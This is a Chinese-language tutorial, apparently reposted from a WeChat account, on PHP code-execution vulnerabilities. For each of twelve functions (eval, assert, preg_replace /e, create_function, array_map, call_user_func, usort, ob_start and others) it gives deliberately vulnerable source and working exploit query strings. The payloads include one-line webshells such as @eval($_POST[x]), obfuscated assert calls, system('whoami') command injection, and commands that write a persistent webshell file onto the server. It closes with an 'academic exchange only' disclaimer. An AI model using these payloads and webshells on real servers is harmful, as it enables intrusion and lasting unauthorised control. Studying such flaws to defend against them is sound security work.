copy 自 公众号:PHP大神
一、 漏洞产生的原因
PHP脚本语言简洁,方便,但也与此同时伴随着一些问题,在web程序中,有时候程序员为了代码的灵活性与简洁性,会适当调用代码执行的函数执行。但由于没有充分考虑到用户是否会使用与控制,最终导致web应用存在代码执行漏洞。
二、 漏洞产生的常见函数
1、eval()
eval(phpcode)
eval() —— 把字符串按照 PHP 代码来计算。
(1) 直接利用漏洞源码:
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>
漏洞利用:?data=phpinfo()
(2)闭合绕过
- 例子1: ```
<?php $data = $_GET[‘data’]; eval(“\$ret = \”$data\”;”); echo $ret; ?>
漏洞利用:
- ?data=";phpinfo();")//
- ?data=${phpinfo()}(php版本5.5及以上)
- ?data=");@eval($_POST[x]);//
- 例子2:
<?php $data = $_GET[‘data’]; eval(“\$ret = strtolower(‘$data’);”); ?>
漏洞利用:
- ?data=’);phpinfo();//
- ?data=’);$cmd=shell_exec(‘systeminfo’);echo “<pre>{$cmd}</pre>”;//
<br />![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643449417-3a086077-4d2a-4b9f-9b9c-9edc1ffd1f48.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u543c3b42&margin=%5Bobject%20Object%5D&originHeight=808&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u5603feb6-faac-4bb2-9a40-b47c1017a4b&title=)
- 例子3:
<?php $data = $_GET[‘data’]; eval(“\$ret = strtolower(\”$data\”);”); ?>
漏洞利用:
- ?data=");phpinfo();//
- ?data=${phpinfo()}(php版本5.5及以上)
- ?data=${@eval($_POST[x])}
**2、assert()**<br />assert — 检查一个断言是否为 false<br />ps: assert($a)只能单行执行<br />- 例子1:
<?php $aaa = “abbbsbbsbbebbrbbt”; $ccc = str_replace(‘b’,’’,$aaa); ///$ccc=”assert” $ccc($_POST[1]);
漏洞利用:
- POST方法 1=phpinfo();
- 菜刀连接
- 例子2:
利用assert写木马<br />服务器代码:
<?php assert($_REQUEST[8]); ?>
网页提交
![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643532404-6f951260-d1e7-412d-a8f3-1f276e3b1874.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=uc5ad21d3&margin=%5Bobject%20Object%5D&originHeight=229&originWidth=752&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u6d6c91c7-8c94-45e2-b8a4-972d62f1b2c&title=)
执行完后,服务器生成2.php文件
![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643532315-f2d5d450-47fc-4eb6-a0be-3d44f14abe26.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u6eb74887&margin=%5Bobject%20Object%5D&originHeight=351&originWidth=775&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=uda6dd38d-e46d-4fd3-a3fe-2c47d63bd78&title=)
<a name="lOqZb"></a>
## **3、preg_replace()+/e 模式**
正则替换函数,配合/e可产生代码执行。<br />/e 可执行模式,此为PHP专有参数,例如preg_replace函数。(php7.0以后不再支持/e修饰)
- 例子1:
<?php
$pattern = “/^\d{5,11}$/ie”;
$qq = ‘1231456’;
$replace = “phpinfo();”;
echo preg_replace($pattern,$replace,$qq);
正则表达式解析:匹配以数字开头的字符串,字符至少5个,最多11个。行尾一定是数字(\d 为数字类型,{5,11} 5-11个字符,$ 到行尾,后面不能再有字符)
- 例子2:(木马一句话)
<?php @preg_replace(“/abc/e”,”$_REQUEST[x]”,”abcd”); ?>
漏洞利用:?x=phpinfo();
**4、create_function() 匿名函数**
create_function ( string $args , string $code )
create_function() —— 定义一个没有名字的函数,直接用变量调用。
- 例子1:
<?php $a = create_function(‘$id’,$_REQUEST[x]); ?>
等同于
<?php a = function Anonymous($id) { $_REQUEST[x]; } ?>
漏洞利用:由于参数$a在被需要调用时才有用,因为在函数里,所以不执行。故闭合绕过函数,
- ?x=}phpinfo();// 单行注释
- ?x=}phpinfo();/* 多行注释
1.
- 例子2:<br />由于参数$a在被需要调用时才有用,因此我们虚构一个调用函数
<?php $a = create_function(‘$id’,$_REQUEST[x]); echo $a(‘afssda’); ?>
**5、array_map() 回调函数**
array_map ( callable $callback , array $array1 [, array $… ] )
array_map() —— 回调函数,可以使用别的函数。
$o = array_map(函数,传参);
(1)函数使用示范
<?php function cube($n) { return ($n$n$n); } $a = [1,2,3,4,5]; $b = array_map(cube,$a);传入参数 var_dump($b); ?>
![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643705117-7debc3b9-b9d0-4747-90c0-82322b10e737.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=ue0e85444&margin=%5Bobject%20Object%5D&originHeight=478&originWidth=1035&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ud63bc740-b9a4-492e-96e5-0c4e799980f&title=)
<a name="YiQ6o"></a>
### (2)漏洞测试
<?php $a = [1,2,3,4,5]; $b = array_map(phpinfo(),$a); var_dump($b); ?>
<a name="D71ry"></a>
### (3)漏洞复现
- 例子1**:**
<?php $o = array_map(assert,$_REQUEST); ?>//因为会自动遍历,因此不需要写调用参数x也行。
漏洞利用:?x=phpinfo();
![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643740169-c3f276ac-24db-42f6-8539-cfc2c656b119.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u02359720&margin=%5Bobject%20Object%5D&originHeight=320&originWidth=644&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u6ffdbc57-edc6-4760-abac-ac750864541&title=)
- 例子2:(进阶骚操作)
<?php $o = array_map($_REQUEST[1],array($_REQUEST[2])); ?>
漏洞利用:?1=assert&2=phpinfo();
<a name="XrAQm"></a>
### (4)回调函数一句话木马总结
array_map(‘assert’,array($_POST[x])); array_map(\$_REQUEST[1],array(\$_REQUEST[2]));
<a name="FvycQ"></a>
### 5)补充
- 回调函数中,eval无法被调用。由于eval是执行语句,比较特殊,不被认为是函数,属于特殊写法。
- PHP中还有很多回调函数。如call_user_func()等等。
**6、call_user_func()**
call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
call_user_func —— 第一个参数作为回调函数调用, 其余参数是回调函数的参数
<?php call_user_func($_GET[‘a1’],$_GET[‘a2’]); ?>
漏洞利用:
- ?a1=system&a2=whoami //命令执行
- ?a1=assert&a2=phpinfo() //代码执行
补充call_user_func函数使用示例:
<?php
function welcome($name)
{
echo “hello $name
“;
}
call_user_func(‘welcome’, “tom”);
call_user_func(‘welcome’, “jack”);
//输出 hello tom hello jack
?>
**7、call_user_func_array()**
call_user_func_array ( callable $callback , array $param_arr )
call_user_func_array() —— 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
<?php call_user_func_array($_GET[‘a1’],$_GET[‘a2’]); ?>
漏洞利用:
- ?a1=system&a2[]=whoami
- ?a1=assert&a2[]=phpinfo()
**8、array_filter()**
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
array_filter() —— 把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。
提示:Window中的^等同于linux的”
<?php array_filter(array($_REQUEST[1]),$_REQUEST[2]); ?>
漏洞利用:
- ?1=whoami&2=system
- ?1=^dir ..^&2=system
- ?1=^dir^&2=system
- ?1=^systeminfo^&2=system
通过上述方法,可以测试出存在代码执行漏洞。因此,注入木马
?1=^echo “<?php @eval($_POST[x]); ?>” > 3.php^&2=system
![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643835272-266c136e-2141-44b8-9ad0-8b8eb970f25e.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u0e3c7961&margin=%5Bobject%20Object%5D&originHeight=302&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ubd86757e-8cd2-4ad0-9bce-068805cbf15&title=)
<a name="TdpAN"></a>
## **9、usort()**
usort ( array &$array , callable $value_compare_func )
usort() —— 调用用户自定义的比较函数对数组进行排序。
<?php //PHP5.2以上,PHP5.6及版本以下 //usort($_REQUEST,$_REQUEST[x]); //?1=1&2=phpinfo()&x=assert //usort($_REQUEST,”assert”);//?1=1&2=phpinfo() //usort($_REQUEST,”system”);//?1=1&2=whoami //usort($_REQUEST,”sys”.”tem”);//?1=1&2=dir usort($_REQUEST,”ass”.”ert”);//?1=1&2=$_POST[x] 我实测版本是PHP5.6 //PHP5.6及版本以上 //usort(…$_GET);//据说?1[]=test&1[]=phpinfo();&2=assert //但是实现不了 ?>
<br />![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643852061-74784346-007c-402c-9252-09782fbe5c3f.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u8e801cc3&margin=%5Bobject%20Object%5D&originHeight=511&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u5170d16a-8a6a-454a-828e-6661380c10c&title=)
<a name="Sn1Hv"></a>
## **10、array_walk()**
array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
array_walk —— 使用用户自定义函数对数组中的每个元素做回调处理
<?php array_walk($_GET[‘a’],$_GET[‘b’]); ?>
漏洞利用:
- ?a[]=phpinfo()&b=assert
- ?a[]=whoami&b=system
<a name="m1NSK"></a>
## **11、ob_start()**
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start —— 打开输出控制缓冲
<?php $cmd = ‘system’;ob_start($cmd);echo “$_GET[a]”;ob_end_flush(); ?>
漏洞利用:?a=whoami
<a name="Pdgjm"></a>
## **12、动态函数**
<?php $_GET1;?> ``` 漏洞利用:
- ?1=eval&2=$_POST[x]
- ?1=assert&2=$_POST[x]
- ?1=system&2=whoami
- ?1=system&2=^echo “<?php @eval($_POST[x]); ?>” > 1.php^
本文用途只做学术交流哈,涉及违法后果自负哈